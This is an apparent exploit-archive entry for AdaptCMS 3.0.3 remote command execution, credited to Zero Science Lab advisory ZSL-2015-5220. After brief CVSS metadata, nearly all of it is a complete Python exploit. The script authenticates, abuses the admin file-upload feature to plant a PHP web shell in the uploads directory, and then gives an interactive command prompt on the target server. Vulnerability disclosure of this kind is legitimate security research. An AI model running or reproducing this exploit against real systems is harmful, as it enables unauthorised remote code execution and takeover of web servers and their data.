AdaptCMS 3.0.3 Remote Command Execution

2015-01-06 / 2015-04-12
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python # # # AdaptCMS 3.0.3 Remote Command Execution Exploit # # # Vendor: Insane Visions # Product web page: http://www.adaptcms.com # Affected version: 3.0.3 # # Summary: AdaptCMS is a Content Management System trying # to be both simple and easy to use, as well as very agile # and extendable. Not only so we can easily create Plugins # or additions, but so other developers can get involved. # Using CakePHP we are able to achieve this with a built-in # plugin system and MVC setup, allowing us to focus on the # details and end-users to focus on building their website # to look and feel great. # # Desc: AdaptCMS suffers from an authenticated arbitrary # command execution vulnerability. The issue is caused due # to the improper verification of uploaded files. This can # be exploited to execute arbitrary PHP code by creating # or uploading a malicious PHP script file that will be # stored in '\app\webroot\uploads' directory. # # Tested on: Apache 2.4.10 (Win32) # PHP 5.6.3 # MySQL 5.6.21 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2015-5220 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php # # # 29.12.2014 # # import itertools, mimetools, mimetypes, os import cookielib, urllib, urllib2, sys, re from cStringIO import StringIO from urllib2 import URLError piton = os.path.basename(sys.argv[0]) def bannerche(): print """ o==========================================o | | | AdaptCMS RCE Exploit | | | | ID:ZSL-2015-5220 | | o/ | +------------------------------------------+ """ if len(sys.argv) < 3: print '\x20\x20[*] Usage: '+piton+' <hostname> <pathname>' print '\x20\x20[*] Example: '+piton+' zeroscience.mk adaptcms\n' sys.exit() bannerche() host = sys.argv[1] path = sys.argv[2] cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) try: gettokens = opener.open('http://'+host+'/'+path+'/login') except urllib2.HTTPError, errorzio: if errorzio.code == 404: print 'Path error.' sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print 'Hostname error.' sys.exit() print '\x20\x20[*] Login please.' tokenfields = re.search('fields]" value="(.+?)" id=', gettokens.read()).group(1) gettokens = opener.open('http://'+host+'/'+path+'/login') tokenkey = re.search('key]" value="(.+?)" id=', gettokens.read()).group(1) username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ') login_data = urllib.urlencode({ '_method' : 'POST', 'data[User][username]' : username, 'data[User][password]' : password, 'data[_Token][fields]' : '864206fbf949830ca94401a65660278ae7d065b3%3A', 'data[_Token][key]' : tokenkey, 'data[_Token][unlocked]' : '' }) login = opener.open('http://'+host+'/'+path+'/login', login_data) auth = login.read() for session in cj: sessid = session.name ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Accessing...' upload = opener.open('http://'+host+'/'+path+'/admin/files/add') filetoken = re.search('key]" value="(.+?)" id=', upload.read()).group(1) class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('_method', 'POST') form.add_field('data[_Token][key]', filetoken) form.add_field('data[File][type]', 'edit') form.add_field('data[0][File][filename]', '') form.add_field('data[0][File][dir]', 'uploads/') form.add_field('data[0][File][mimetype]', '') form.add_field('data[0][File][filesize]', '') form.add_field('data[File][content]', '<?php echo "<pre>"; passthru($_GET[\'cmd\']); echo "</pre>"; ?>') form.add_field('data[File][file_extension]', 'php') form.add_field('data[File][file_name]', 'thricer') form.add_field('data[File][caption]', 'THESHELL') form.add_field('data[File][dir]', 'uploads/') form.add_field('data[0][File][caption]', '') form.add_field('data[0][File][watermark]', '0') form.add_field('data[0][File][zoom]', 'C') form.add_field('data[File][resize_width]', '') form.add_field('data[File][resize_height]', '') form.add_field('data[0][File][random_filename]', '0') form.add_field('data[File][library]', '') form.add_field('data[_Token][fields]', '0e50b5f22866de5e6f3b959ace9768ea7a63ff3c%3A0.File.dir%7C0.File.filesize%7C0.File.mimetype%7CFile.dir') form.add_file('data[0][File][filename]', 'filename', fileHandle=StringIO('')) request = urllib2.Request('http://'+host+'/'+path+'/admin/files/add') request.add_header('User-agent', 'joxypoxy 6.0') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() f_loc = '/uploads/thricer.php' print while True: try: cmd = raw_input('shell@'+host+':~# ') execute = opener.open('http://'+host+'/'+path+f_loc+'?cmd='+urllib.quote(cmd)) reverse = execute.read() pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M) cmdout = pattern.match(reverse) print cmdout.groups()[0].strip() print if cmd.strip() == 'exit': break except Exception: break print 'Session terminated.\n' sys.exit()

References:

http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php


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